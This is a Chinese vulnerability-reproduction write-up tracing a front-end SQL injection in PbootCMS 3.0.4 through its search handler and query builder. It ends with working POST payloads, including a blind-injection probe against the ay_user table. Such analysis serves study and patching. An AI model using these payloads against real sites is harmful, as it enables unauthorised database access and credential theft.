pBootCMS 3.0.4 前台注入漏洞复现
2021-11-10 04:58:21 Author: mp.weixin.qq.com(查看原文) 阅读量:196 收藏

漏洞点跟进

  • 网上公布漏洞点在/?p=search,POST数据:1=select 1

  1. apps/home/controller/ParserController.phpparserSearchLabel函数

image-20211108160733164

请求的数据赋值给$receive进行遍历,$key进入request函数进行处理

  1. 跟进request函数,文件core/function/helper.php

image-20211108160421252

标定请求类型POST或GET,构造变量

$condition = array(
        'd_source' => 'post',
        'd_type' => 'vars',
        'd_require' => false,
        $name => $key,
        'd_default' => null

    );

传递给filter($name, $condition)

  1. 跟进filter函数,文件core/function/helper.php

image-20211108161336349

赋值$data = @$_POST[$varname];,并进行去空格处理

image-20211108161449842

之后进行类型检测,正则匹配

image-20211108161543059
image-20211108161556813

可以看到注入字符串只能包含中文、字母、数字、横线、点、逗号、空格。

最后进行return escape_string($data);处理。

  1. 继续跟进escape_string函数。文件core/function/handle.php

image-20211108161917276

进行了htmlspecialcharsaddslashes转义。

  1. 数据经过一系列过滤后返回到apps/home/controller/ParserController.php文件的parserSearchLabel函数,赋值给$where3数组。

image-20211108162140400
  1. 继续跟着变量$where3,进入到读取数据函数$data = $this->model->getList($scode, $num, $order, $where1, $where2, $where3, $fuzzy, $start, $lfield, $lg);

    image-20211108162403932
  2. 跟进getList函数,文件apps/home/model/ParserModel.php

    image-20211108162741457

函数中$select=$where3

  1. 继续跟进$select变量

    image-20211108162943901

进入where函数进行处理

9.继续跟进where函数

image-20211108163233609

可以看到条件之间使用AND进行连接当传递的参数 $where 是一个数组时就遍历数组,当$where是一个索引数组时,则:$where_string.=$value。故而可以控制$where3为索引数组,进而实现sql注入。

payload数据流跟踪

  • 进行post请求搜索数据1=1时,在$where3变量下断点

    image-20211108164300567

    $where3=[1]

  • 继续跟踪sql语句构造,经过一些类转换形成了sql语句SELECT COUNT(*) AS sum FROM ay_content a LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_member_group f ON a.gid=f.id LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.status=1 AND d.type=2 AND a.date<'2021-11-08 16:49:33' AND a.acode='cn' ) AND(1),最后时把输入的1=1转换成了条件中的AND (1)

    image-20211108165408166
  • 查询到所有信息

    image-20211108165755096
  • 当post数据为1=0时没抓到sql语句,用1=select 0抓到sql语句为SELECT COUNT(*) AS sum FROM ay_content a LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_member_group f ON a.gid=f.id LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.status=1 AND d.type=2 AND a.date<'2021-11-08 17:00:56' AND a.acode='cn' ) AND(select 0)同样添加了AND(select 0)语句,sql注入可行。

    image-20211108170258976
image-20211108225320420

漏洞利用

  • post传输数据1=select 1 from ay_user where username regexp 0x61可以进行盲注。

    image-20211108235622874

大华摄像头 CVE-2021-33044-CVE-2021-33045   POC
 Apache任意文件读取补丁绕过(CVE-2021-42013)
漏洞描述|CVE-2021-31166  POC
新洞速递(CVE-2021-41773)
接上一篇CVE-2021-40444 CS上线
CVE-2020-0787 Windows 全版本 本地提权
锐捷RG-UAC统一上网行为管理审计系统漏洞
和信下一代云桌面远程代码执行漏洞复
Linux本地提权漏洞CVE-2021-3493

CVE-2019-19781 Citrix ADC 远程代码执行漏洞复现


文章来源: http://mp.weixin.qq.com/s?__biz=MzI0Nzc0NTcwOQ==&mid=2247485185&idx=1&sn=be4010ab9a0a77182ade9307c5f084af&chksm=e9aa1ac3dedd93d525b8638f29d0015b939eba2cb5197c12406290e21e56f7ca6eb637ab56ea#rd
如有侵权请联系:admin#unsafe.sh